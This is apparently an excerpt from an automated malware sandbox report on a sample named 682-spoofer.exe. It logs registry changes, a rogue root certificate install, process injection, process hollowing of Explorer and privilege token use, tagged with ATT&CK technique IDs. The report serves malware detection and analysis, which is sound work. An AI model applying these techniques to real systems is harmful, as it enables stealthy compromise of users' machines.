Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d3eb7e2d-912e-4875-	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d3eb7e2d-912e-4875- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000214684ffbd52dd01214684ffbd52dd01214684ffbd52dd01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d25b42000323032396637313537613835356430636237656432313137656136346263643633326130333661363139386166386233396263363062313433386165373638330000b20009000400efbe425d25b4425d25b42e00000000000000000000000000000000000000000000000000df102f01320030003200390066003700310035003700610038003500350064003000630062003700650064003200310031003700650061003600340062006300640036003300320061003000330036006100360031003900380061006600380062003300390062006300360030006200310034003300380061006500370036003800330000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c32303239663731353761383535643063623765643231313765613634626364363332613033366136313938616638623339626336306231343338616537363833000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf59249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf59249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f7a3487e-58cf-406d- = 6e091901be52dd01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f7a3487e-58cf-406d- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d1edf3c-3b84-4daa- = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\63461ba9-8cd7-4d76- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\92b2f64e7ddf7fea1de0abc1dd7ceca8b989e319816d1c2e9fffb1984a92d58d"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d3eb7e2d-912e-4875-	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f7a3487e-58cf-406d- = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f7a3487e-58cf-406d- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ec24b900be52dd01ec24b900be52dd01ec24b900be52dd01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d26b42000393262326636346537646466376665613164653061626331646437636563613862393839653331393831366431633265396666666231393834613932643538640000b20009000400efbe425d26b4425d26b42e00000000000000000000000000000000000000000000000000145f2b01390032006200320066003600340065003700640064006600370066006500610031006400650030006100620063003100640064003700630065006300610038006200390038003900650033003100390038003100360064003100630032006500390066006600660062003100390038003400610039003200640035003800640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c39326232663634653764646637666561316465306162633164643763656361386239383965333139383136643163326539666666623139383461393264353864000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf5a249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf5a249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d1edf3c-3b84-4daa- = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\947ddc73-d0c0-42a5- = "8324"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a7822ca-51cb-46f7- = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\32b52f14-fd5e-4eaa- = 619fb506be52dd01	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9cd8dcd7-1276-40a7- = "8324"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ddce0288-343b-4678- = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d1edf3c-3b84-4daa- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\63461ba9-8cd7-4d76- = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\477b9e38-14fd-4a6d-	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\477b9e38-14fd-4a6d- = 28bc9e06be52dd01	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\477b9e38-14fd-4a6d- = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\32b52f14-fd5e-4eaa- = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e55bb423-704a-49f0- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d1edf3c-3b84-4daa- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\d30a1985242a15092f9b62497856b15e324c91b4ef76378900c704534e9fb6cd"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\947ddc73-d0c0-42a5- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b4d2205393836b4d9edd612ae9266fd28bf4c3892570f529319c2061f60ef0ed"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\63461ba9-8cd7-4d76- = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000054a24603be52dd014c427106be52dd01e9e23006be52dd016ab810000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d26b42000393262326636346537646466376665613164653061626331646437636563613862393839653331393831366431633265396666666231393834613932643538640000b20009000400efbe425d26b4425d26b42e00000000000000000000000000000000000000000000000000145f2b01390032006200320066003600340065003700640064006600370066006500610031006400650030006100620063003100640064003700630065006300610038006200390038003900650033003100390038003100360064003100630032006500390066006600660062003100390038003400610039003200640035003800640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c39326232663634653764646637666561316465306162633164643763656361386239383965333139383136643163326539666666623139383461393264353864000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf5f249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf5f249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\32b52f14-fd5e-4eaa-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\32b52f14-fd5e-4eaa- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\1b7e5661e0747c8994f88edc647de34c7f24a761e52d85ef624cb55c57447f36"	RuntimeBroker.exe

Modifies system certificate store 2 TTPs 3 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\71C0AA5B0E7886813051C6CA8277FEE9E0D923C5	682.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\71C0AA5B0E7886813051C6CA8277FEE9E0D923C5	682.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\71C0AA5B0E7886813051C6CA8277FEE9E0D923C5\Blob = 03000000010000001400000071c0aa5b0e7886813051c6ca8277fee9e0d923c520000000010000000c03000030820308308201f0a003020102021024380919418cfb9444f28ee8579116f0300d06092a864886f70d01010b0500301c311a301806035504030c116e756c6c2d73706f6f6665722054657374301e170d3236303931323035333230335a170d3331303931323035343230335a301c311a301806035504030c116e756c6c2d73706f6f666572205465737430820122300d06092a864886f70d01010105000382010f003082010a0282010100cf90601ed3a10494044d51ef5125836a4c42944b34aba121280ab7316bea7e3941d8f7c097ae6f849a805f941f43b7caedfb271dd415d061982ac183d4a25f35079db7fdd097e8e20a452fd48c4fb9e280dafefd45e1a9bb7cd47fa97efbf8ee216c8f1253e6455f2786810c77df343aa46a1a8cb623208c409d82afa5be6c83ec9481c1df83e2876e9040b2053b46de8f064a7f9a4f6a54cea3d19c19cb3310e8546a25d1ac04cf0c37d808f63baf1a00dec8d60c58eaa8a61ba94f2e790c2d9d2903164cbb00697d6fd04388af8c974f92364892e44733c0c55b9da16225f05d7a21d233b90431cc707db971a608b972de51cb463a605f776b82ce0434ea950203010001a3463044300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303301d0603551d0e04160414a0f5e24d2284920109245094af5dae027576d6ac300d06092a864886f70d01010b050003820101002afd53ba9f1b49545c112052ba2ac164b3bd9d25a6a75f664469740b5872c8009cb3b80c09bf350552d1f041c074324f41748ec4aca59fd93da8753ab54bd3204db84827be3e375ddd484d3a041f9b680b749935533452c3218803273ae46ac37e8905716c306cbc9076061507d2c61dc5806dd390b885ae4593351d64d9e4fc721e82f0ad38c43d11bd99fa4d62d1c917ae3f7d1623653ee0605b19312b34fcd0724a5395fc3ed10d5c364856b1b0c9894a9d5684562036822ce53313519988871779b851ada284cb941b8e4527be0afd4bb7c4367d223fc366498d2e57180b5ea856f0300b97dcf326e6ce7cf209724fb1851101d287940e4b4419d14adae4	682.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1480	powershell.exe
1480	powershell.exe
2316	injektion.exe
1868	powershell.exe
1868	powershell.exe
1868	powershell.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
2316	injektion.exe
3332	ywkzpvlakbmn.exe
100	powershell.exe
100	powershell.exe
100	powershell.exe
3944	powershell.EXE
3944	powershell.EXE
3944	powershell.EXE
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
3332	ywkzpvlakbmn.exe
1080	powershell.EXE
1080	powershell.EXE
1080	powershell.EXE
3944	powershell.EXE
4484	dllhost.exe
4484	dllhost.exe
4484	dllhost.exe
4484	dllhost.exe
4484	dllhost.exe
4484	dllhost.exe
1080	powershell.EXE
4484	dllhost.exe
4484	dllhost.exe
4196	dialer.exe
4196	dialer.exe
4484	dllhost.exe
4484	dllhost.exe
4484	dllhost.exe
4484	dllhost.exe
4484	dllhost.exe
4484	dllhost.exe
1080	powershell.EXE
5156	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3220	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	2316	injektion.exe
Token: SeShutdownPrivilege	4236	powercfg.exe
Token: SeCreatePagefilePrivilege	4236	powercfg.exe
Token: SeShutdownPrivilege	3372	powercfg.exe
Token: SeCreatePagefilePrivilege	3372	powercfg.exe
Token: SeShutdownPrivilege	1080	powercfg.exe
Token: SeCreatePagefilePrivilege	1080	powercfg.exe
Token: SeShutdownPrivilege	2832	powercfg.exe
Token: SeCreatePagefilePrivilege	2832	powercfg.exe
Token: SeDebugPrivilege	100	powershell.exe
Token: SeDebugPrivilege	3944	powershell.EXE
Token: SeDebugPrivilege	3332	ywkzpvlakbmn.exe
Token: SeShutdownPrivilege	4776	powercfg.exe
Token: SeCreatePagefilePrivilege	4776	powercfg.exe
Token: SeShutdownPrivilege	3548	powercfg.exe
Token: SeCreatePagefilePrivilege	3548	powercfg.exe
Token: SeShutdownPrivilege	3968	powercfg.exe
Token: SeCreatePagefilePrivilege	3968	powercfg.exe
Token: SeShutdownPrivilege	4748	powercfg.exe
Token: SeCreatePagefilePrivilege	4748	powercfg.exe
Token: SeLockMemoryPrivilege	4196	dialer.exe
Token: SeDebugPrivilege	1080	powershell.EXE
Token: SeDebugPrivilege	3944	powershell.EXE
Token: SeDebugPrivilege	4484	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2424	svchost.exe
Token: SeIncreaseQuotaPrivilege	2424	svchost.exe
Token: SeSecurityPrivilege	2424	svchost.exe
Token: SeTakeOwnershipPrivilege	2424	svchost.exe
Token: SeLoadDriverPrivilege	2424	svchost.exe
Token: SeSystemtimePrivilege	2424	svchost.exe
Token: SeBackupPrivilege	2424	svchost.exe
Token: SeRestorePrivilege	2424	svchost.exe
Token: SeShutdownPrivilege	2424	svchost.exe
Token: SeSystemEnvironmentPrivilege	2424	svchost.exe
Token: SeUndockPrivilege	2424	svchost.exe
Token: SeManageVolumePrivilege	2424	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2424	svchost.exe
Token: SeIncreaseQuotaPrivilege	2424	svchost.exe
Token: SeSecurityPrivilege	2424	svchost.exe
Token: SeTakeOwnershipPrivilege	2424	svchost.exe
Token: SeLoadDriverPrivilege	2424	svchost.exe
Token: SeSystemtimePrivilege	2424	svchost.exe
Token: SeBackupPrivilege	2424	svchost.exe
Token: SeRestorePrivilege	2424	svchost.exe
Token: SeShutdownPrivilege	2424	svchost.exe
Token: SeSystemEnvironmentPrivilege	2424	svchost.exe
Token: SeUndockPrivilege	2424	svchost.exe
Token: SeManageVolumePrivilege	2424	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2424	svchost.exe
Token: SeIncreaseQuotaPrivilege	2424	svchost.exe
Token: SeSecurityPrivilege	2424	svchost.exe
Token: SeTakeOwnershipPrivilege	2424	svchost.exe
Token: SeLoadDriverPrivilege	2424	svchost.exe
Token: SeSystemtimePrivilege	2424	svchost.exe
Token: SeBackupPrivilege	2424	svchost.exe
Token: SeRestorePrivilege	2424	svchost.exe
Token: SeShutdownPrivilege	2424	svchost.exe
Token: SeSystemEnvironmentPrivilege	2424	svchost.exe
Token: SeUndockPrivilege	2424	svchost.exe
Token: SeManageVolumePrivilege	2424	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2424	svchost.exe
Token: SeIncreaseQuotaPrivilege	2424	svchost.exe

Suspicious use of UnmapMainImage 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Process Hollowing

T1055.012

pid	Process
3220	Explorer.EXE
4020	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 1480	4880	682-spoofer.exe	89
PID 4880 wrote to memory of 2316	4880	682-spoofer.exe	91
PID 4880 wrote to memory of 2116	4880	682-spoofer.exe	92
PID 3972 wrote to memory of 2852	3972	cmd.exe	110
PID 2316 wrote to memory of 2600	2316	injektion.exe	123
PID 2316 wrote to memory of 2600	2316	injektion.exe	123
PID 2316 wrote to memory of 2600	2316	injektion.exe	123
PID 2316 wrote to memory of 2600	2316	injektion.exe	123
PID 2316 wrote to memory of 2600	2316	injektion.exe	123
PID 2984 wrote to memory of 1060	2984	cmd.exe	145
PID 3332 wrote to memory of 908	3332	ywkzpvlakbmn.exe	158
PID 3332 wrote to memory of 908	3332	ywkzpvlakbmn.exe	158
PID 3332 wrote to memory of 908	3332	ywkzpvlakbmn.exe	158
PID 3332 wrote to memory of 908	3332	ywkzpvlakbmn.exe	158
PID 3332 wrote to memory of 908	3332	ywkzpvlakbmn.exe	158
PID 3332 wrote to memory of 1700	3332	ywkzpvlakbmn.exe	163
PID 3332 wrote to memory of 1700	3332	ywkzpvlakbmn.exe	163
PID 3332 wrote to memory of 1700	3332	ywkzpvlakbmn.exe	163
PID 3332 wrote to memory of 1700	3332	ywkzpvlakbmn.exe	163
PID 3332 wrote to memory of 1700	3332	ywkzpvlakbmn.exe	163
PID 3332 wrote to memory of 1700	3332	ywkzpvlakbmn.exe	163
PID 3332 wrote to memory of 1700	3332	ywkzpvlakbmn.exe	163
PID 3332 wrote to memory of 1700	3332	ywkzpvlakbmn.exe	163
